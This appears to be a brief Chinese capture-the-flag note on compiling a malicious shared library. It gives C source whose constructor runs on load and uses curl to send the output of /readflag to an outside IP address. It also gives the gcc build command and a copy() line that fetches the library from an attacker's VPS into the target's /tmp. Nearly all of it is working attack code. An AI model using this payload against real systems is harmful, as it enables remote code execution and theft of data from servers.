编译恶意so

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void)
{
system("curl 165.154.5.221:6666/`/readflag`");
}

gcc hack.c -fPIC -shared -o hack.so编译

传到题目上
copy('http://vps/hack.so','/tmp/hack.so')